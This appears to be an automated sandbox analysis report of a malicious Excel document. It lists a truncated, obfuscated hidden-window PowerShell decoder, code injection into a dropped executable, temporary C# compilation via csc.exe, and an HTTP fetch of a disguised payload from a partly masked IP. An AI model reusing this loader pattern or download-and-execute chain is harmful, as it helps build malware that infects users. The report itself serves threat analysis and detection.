Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function f61c89a {param($zd5c6)$o249e4='dc46c';$p717b='';for ($i=0; $i -lt $zd5c6.length;$i+=2){$w3f8e1b=[convert]::ToByte($zd5c6.Substring($i,2),16);$p717b+=[char]($w3f8e...
Injects code into
the following user processes:
- d69b7d.exe
Modifies file system
Creates the following files
- %TEMP%\jk1vny6x.0.cs
- %TEMP%\dpwqq5f-.dll
- %TEMP%\res9697.tmp
- %TEMP%\csc9677.tmp
- %TEMP%\.ds_store
- %TEMP%\dpwqq5f-.out
- %TEMP%\dpwqq5f-.cmdline
- %TEMP%\dpwqq5f-.0.cs
- %TEMP%\dgvnzlf-.dll
- %TEMP%\res7dcf.tmp
- %TEMP%\csc7daf.tmp
- %TEMP%\dgvnzlf-.out
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{7dae115b-843d-4c3c-ac1f-551ddf82044d}.tmp
- %TEMP%\dgvnzlf-.cmdline
- %TEMP%\dqlcy_mg.dll
- %TEMP%\res6805.tmp
- %TEMP%\csc6804.tmp
- %TEMP%\dqlcy_mg.out
- %TEMP%\dqlcy_mg.cmdline
- %TEMP%\dqlcy_mg.0.cs
- %TEMP%\jk1vny6x.dll
- %TEMP%\res5d57.tmp
- %TEMP%\csc5d46.tmp
- %TEMP%\jk1vny6x.out
- %TEMP%\jk1vny6x.cmdline
- %TEMP%\dgvnzlf-.0.cs
- %APPDATA%\d69b7d.exe
Deletes the following files
- %TEMP%\res5d57.tmp
- %TEMP%\dpwqq5f-.dll
- %TEMP%\dpwqq5f-.cmdline
- %TEMP%\dpwqq5f-.out
- %TEMP%\dpwqq5f-.0.cs
- %TEMP%\csc9677.tmp
- %TEMP%\res9697.tmp
- %TEMP%\dgvnzlf-.dll
- %TEMP%\dgvnzlf-.cmdline
- %TEMP%\dgvnzlf-.pdb
- %TEMP%\dgvnzlf-.out
- %TEMP%\dgvnzlf-.0.cs
- %TEMP%\csc7daf.tmp
- %TEMP%\dpwqq5f-.pdb
- %TEMP%\res7dcf.tmp
- %TEMP%\dqlcy_mg.dll
- %TEMP%\dqlcy_mg.0.cs
- %TEMP%\dqlcy_mg.out
- %TEMP%\dqlcy_mg.cmdline
- %TEMP%\csc6804.tmp
- %TEMP%\res6805.tmp
- %TEMP%\jk1vny6x.cmdline
- %TEMP%\jk1vny6x.pdb
- %TEMP%\jk1vny6x.out
- %TEMP%\jk1vny6x.dll
- %TEMP%\jk1vny6x.0.cs
- %TEMP%\csc5d46.tmp
- %TEMP%\dqlcy_mg.pdb
- %TEMP%\.ds_store
Network activity
TCP
HTTP GET requests
- http://51.##.128.171/C/_output4159AC0.jpg
Miscellaneous
Creates and executes the following
- '%APPDATA%\d69b7d.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jk1vny6x.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5D57.tmp" "%TEMP%\CSC5D46.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dqlcy_mg.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6805.tmp" "%TEMP%\CSC6804.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dgvnzlf-.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7DCF.tmp" "%TEMP%\CSC7DAF.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dpwqq5f-.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9697.tmp" "%TEMP%\CSC9677.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jk1vny6x.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5D57.tmp" "%TEMP%\CSC5D46.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dqlcy_mg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6805.tmp" "%TEMP%\CSC6804.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dgvnzlf-.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7DCF.tmp" "%TEMP%\CSC7DAF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dpwqq5f-.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9697.tmp" "%TEMP%\CSC9677.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
